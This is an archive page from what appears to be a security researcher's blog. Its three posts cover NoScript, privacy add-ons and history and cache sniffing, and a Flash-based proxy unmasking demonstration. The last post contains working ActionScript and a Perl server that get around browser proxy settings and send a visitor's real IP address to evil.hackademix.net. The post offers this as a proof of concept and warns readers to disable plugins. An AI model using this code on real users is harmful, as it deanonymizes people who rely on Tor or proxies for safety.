hackademix.net

For xB Browser, for users running XeroBank, we've removed noscript and replaces it with SPP. That allows users to protect against cross-site scripting, and false certificates, without dealing with NoScript issues.

Does anybody know what this XeroBank guy is talking about?

SPP can't obviously stand for Site Pecurity Policy. It wouldn't make sense (spelling and grammar aside) because SSP is not meant and not going to replace NoScript anytime soon. The SSP we know does not allow "users to protect against" anything, it just allows compliant web sites to protect their own users (which is great, anyway).

So, any hint about this SPP supposed NoScript killer?

7 Comments »

01 05 2008

Unusual List

Posted by: Giorgio in Anonymity, Mozilla, Security

As I can easily tell by looking at flashgot.net and noscript.net Apache logs, every day the blogosphere gets flooded by copycat articles about "Top 5 Firefox Extensions" or "Best 10 Add-ons".
Yesterday, though, I've been pleased by a slightly different variation: Keeping Safe on the Web: 8 Firefox Addons for Privacy and Security.

Once in a while, this is not just a rehash of an AMO category, like recommended or popular.
Its items count is a power of 2, rather than banally a divisor or a multiplier of 10 ;)
It features two often neglected extensions by Stanford University, Safe History and Safe Cache, which can effectively mitigate some interesting attacks on our privacy. Any web page can quite easily discover if we've visited certain sites by exploiting our navigation history visual feedback or the performance differences caused by our cache. Most people don't know or don't care, but such a vulnerability may be critical if you're under an oppressive regime or you're an interesting blackmail target. Even if these two extensions impose some usability and performance burden (SafeHistory, for instance, scans all the links of a page to "artificially" color them as visited only if they've been previously followed from the same site, and this can cause a noticeable unresponsiveness where links are a lot), they're the best defense we've got -- other than clearing both cache and history every time we navigate to a new site -- until these bugs (affecting all the major browsers) are fixed.

Thanks to Dave Drager for the useful reminder.

6 Comments »

26 09 2007

Cross-Browser Proxy Unmasking

Posted by: Giorgio in IE, Anonymity, Flash, Java, Security, NoScript

It's really time to sleep in my timezone, but I just couldn't resist when I read latest RSnake's post about Deanonymizing Tor and Detecting Proxies.

The basic concept, not terribly new by the way, is that browser proxy settings cannot be enforced on browser plugins, which happily ignore them in some circumstances, e.g. when establishing a direct TCP socket connection.
So if you're using a proxy to hide your internet address (like Tor users do), embeddable objects like Java applets can betray you, revealing your real identity to advertisers spying on your habits or, worse, to the police of a repressive state.

This caveat has been preached even on the Tor download page itself, but nothing better than some scary demos to convert the non believers.

RSnake's interesting proof of concept exploits JavaScript + LiveConnect , and it apparently works on Gecko-based browser with Java™ installed only. I didn't manage to make it work on Opera, even though it does support LiveConnect.

So I decided to defer bedtime a bit and I put together my own quick deanonymizing proof of concept, which relies on the almost ubiquitous MacromediaÂ® FlashÂ® and works in any web browser, like Internet Explorer, supporting the Flash player (no need for JavaScript, either).
The

XMLSocket

ActionScript object is used to bypass browser's proxy setting and connect to a tiny server written in Perl, listening on port 9999 and echoing client's IP.

Here's the ActionScript code:

var socket = new XMLSocket();
socket.onConnect = function(success) {
socket.onXML = function(doc) {
getURL("http://evil.hackademix.net/proxy_bypass?ip=" +
doc.firstChild.firstChild.nodeValue);
socket.close();
};
socket.send(new XML());
};
socket.connect("evil.hackademix.net", 9999);

Download this code: pbp.as

And here's the Perl server:

#!/usr/bin/perl -w
use strict;
use IO::Socket;
my $port = shift || 9999;
my $sock = new IO::Socket::INET(
LocalPort => $port,
Proto => 'tcp',
Listen => SOMAXCONN,
Reuse => 1);
$sock or die "socket: $!";
my($new_sock, $c_addr, $buf);
while (($new_sock, $c_addr) = $sock->accept())
{
my ($client_port, $client_ip) = sockaddr_in($c_addr);
print $new_sock "<ip>" . inet_ntoa($client_ip) . "</ip>\000";
$new_sock->close();
}

Download this code: pbp.pl

Today's lesson is: if you want to stay anonymous, you'd better turn off Java, Flash and any other plugin!

Update OCT-27

I've just learned that some months ago a guy called yawnmoth demonstrated an Unmasking Java Applet. Just like my Flash-based one, this works also in browsers, like IE, not supporting LiveConnect.
The lesson above obviously applies, even stronger.